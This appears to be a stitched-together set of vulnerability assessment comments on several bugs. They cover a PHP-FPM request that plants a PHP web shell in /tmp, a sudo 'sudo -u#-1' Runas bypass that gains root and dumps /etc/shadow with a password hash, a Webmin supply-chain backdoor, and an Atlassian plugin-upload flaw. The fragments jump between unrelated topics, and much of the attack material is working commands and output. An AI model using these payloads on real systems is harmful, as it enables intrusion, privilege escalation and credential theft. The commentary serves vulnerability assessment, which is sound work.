172.17.0.1 - - [28/Oct/2019:20:57:33 +0000] "GET /script.php/?a=%3Becho+%27%3C%3Fphp+echo+%60%24_GET%5Ba%5D%60%3Breturn%3B%3F%3E%27%3E%2Ftmp%2Fa%3Bwhich+which&QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1" 200 329 "-" "Mozilla/5.0"

>>> print(urllib.parse.unquote('172.17.0.1 - - [28/Oct/2019:20:57:33 +0000] "GET /script.php/?a=%3Becho+%27%3C%3Fphp+echo+%60%24_GET%5Ba%5D%60%3Breturn%3B%3F%3E%27%3E%2Ftmp%2Fa%3Bwhich+which&QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1" 200 329 "-" "Mozilla/5.0"'))
172.17.0.1 - - [28/Oct/2019:20:57:33 +0000] "GET /script.php/?a=;echo+'<?php+echo+`$_GET[a]`;return;?>'>/tmp/a;which+which&QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1" 200 329 "-" "Mozilla/5.0"
>>>

I’ve seen Runas specifications on exactly two servers in the wild. I think it’s even rarer that you would specify ALL and !root in the same specification, though it is a better application of the principle of least privilege.

More importantly, privilege escalation is contingent on having access to a command that can escape to a shell or otherwise execute arbitrary code or commands. Cool bug, but the use case for this is minimized.

Here’s a contrived example of the bug in action:

vagrant@ubuntu-xenial:~$ sudo -l
Matching Defaults entries for vagrant on ubuntu-xenial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User vagrant may run the following commands on ubuntu-xenial:
    (ALL, !root) NOPASSWD: /usr/bin/whoami
vagrant@ubuntu-xenial:~$ sudo whoami
[sudo] password for vagrant:
Sorry, user vagrant is not allowed to execute '/usr/bin/whoami' as root on ubuntu-xenial.
vagrant@ubuntu-xenial:~$ sudo -u ubuntu whoami
ubuntu
vagrant@ubuntu-xenial:~$ sudo -u#-1 whoami
root
vagrant@ubuntu-xenial:~$

You must specify # to use a UID.

Here’s another example where you’re not limited to a command, only the target users:

vagrant@ubuntu-xenial:~$ sudo -l
Matching Defaults entries for vagrant on ubuntu-xenial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User vagrant may run the following commands on ubuntu-xenial:
    (ALL, !root) NOPASSWD: ALL
vagrant@ubuntu-xenial:~$ sudo whoami
[sudo] password for vagrant:
Sorry, user vagrant is not allowed to execute '/usr/bin/whoami' as root on ubuntu-xenial.
vagrant@ubuntu-xenial:~$ sudo -u#-1 whoami
root
vagrant@ubuntu-xenial:~$ sudo -u#-1 cat /etc/shadow
root:*:17897:0:99999:7:::
daemon:*:17897:0:99999:7:::
bin:*:17897:0:99999:7:::
sys:*:17897:0:99999:7:::
sync:*:17897:0:99999:7:::
games:*:17897:0:99999:7:::
man:*:17897:0:99999:7:::
lp:*:17897:0:99999:7:::
mail:*:17897:0:99999:7:::
news:*:17897:0:99999:7:::
uucp:*:17897:0:99999:7:::
proxy:*:17897:0:99999:7:::
www-data:*:17897:0:99999:7:::
backup:*:17897:0:99999:7:::
list:*:17897:0:99999:7:::
irc:*:17897:0:99999:7:::
gnats:*:17897:0:99999:7:::
nobody:*:17897:0:99999:7:::
systemd-timesync:*:17897:0:99999:7:::
systemd-network:*:17897:0:99999:7:::
systemd-resolve:*:17897:0:99999:7:::
systemd-bus-proxy:*:17897:0:99999:7:::
syslog:*:17897:0:99999:7:::
_apt:*:17897:0:99999:7:::
lxd:*:17897:0:99999:7:::
messagebus:*:17897:0:99999:7:::
uuidd:*:17897:0:99999:7:::
dnsmasq:*:17897:0:99999:7:::
sshd:*:17897:0:99999:7:::
pollinate:*:17897:0:99999:7:::
vagrant:$6$pjYWAc.5$QYfO.wN80gnGe2kC1jYmSTGmO/qelG1CMl6ubKMbDQt9b1TEKZ648PQGI7VC88XE3ObdPBswUavsC1eDVZunJ.:17897:0:99999:7:::
ubuntu:!:18100:0:99999:7:::
vagrant@ubuntu-xenial:~$

https://seclists.org/fulldisclosure/2019/Sep/31 appears to leverage the same RCE technique used in https://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/ (this CVE).

This was a supply chain attack: http://www.webmin.com/exploit.html. The backdoor was introduced in a version that was “exploitable” in the default install. Version 1.890 is the money. Anything after requires a non-default setting.

Note that SourceForge installs are affected, but GitHub checkouts aren’t.

ETA: Metasploit added an exploit module.

Assessment

I think I would see this in the real world, exploitation is trivial, and attacking an SSO system could be valuable.

Additional analysis

What would happen if I changed the Content-Type from multipart/form-data to a different multipart encoding? Let’s try it.

This time I decided to try uploading my malicious plugin with the Content-Type of multipart/mixed instead. Maybe that would work?

They didn’t share how they got there, but it’s an easy find with source code.

wvu@kharak:~$ cd Downloads/
wvu@kharak:~/Downloads$ git clone https://bitbucket.org/atlassian/pdkinstall-plugin.git
Cloning into 'pdkinstall-plugin'...
remote: Counting objects: 210, done.
remote: Compressing objects: 100% (115/115), done.
remote: Total 210 (delta 88), reused 138 (delta 56)
Receiving objects: 100% (210/210), 26.20 KiB | 813.00 KiB/s, done.
Resolving deltas: 100% (88/88), done.
wvu@kharak:~/Downloads$ cd pdkinstall-plugin/
wvu@kharak:~/Downloads/pdkinstall-plugin:master$ git grep isMultipart
src/main/java/com/atlassian/pdkinstall/PdkInstallFilter.java:        boolean isMultipart = ServletFileUpload.isMultipartContent(req);
src/main/java/com/atlassian/pdkinstall/PdkInstallFilter.java:        if (isMultipart)
wvu@kharak:~/Downloads/pdkinstall-plugin:master$ git grep ServletFileUpload
src/main/java/com/atlassian/pdkinstall/PdkInstallFilter.java:import org.apache.commons.fileupload.servlet.ServletFileUpload;
src/main/java/com/atlassian/pdkinstall/PdkInstallFilter.java:        boolean isMultipart = ServletFileUpload.isMultipartContent(req);
src/main/java/com/atlassian/pdkinstall/PdkInstallFilter.java:        ServletFileUpload upload = new ServletFileUpload(factory);
wvu@kharak:~/Downloads/pdkinstall-plugin:master$

https://commons.apache.org/proper/commons-fileupload/apidocs/org/apache/commons/fileupload/servlet/ServletFileUpload.html

This class handles multiple files per single HTML widget, sent using multipart/mixed encoding type, as specified by RFC 1867.

Easy container root if you encounter it.

What Aaron said. I was neutral on ratings I don’t have enough information on.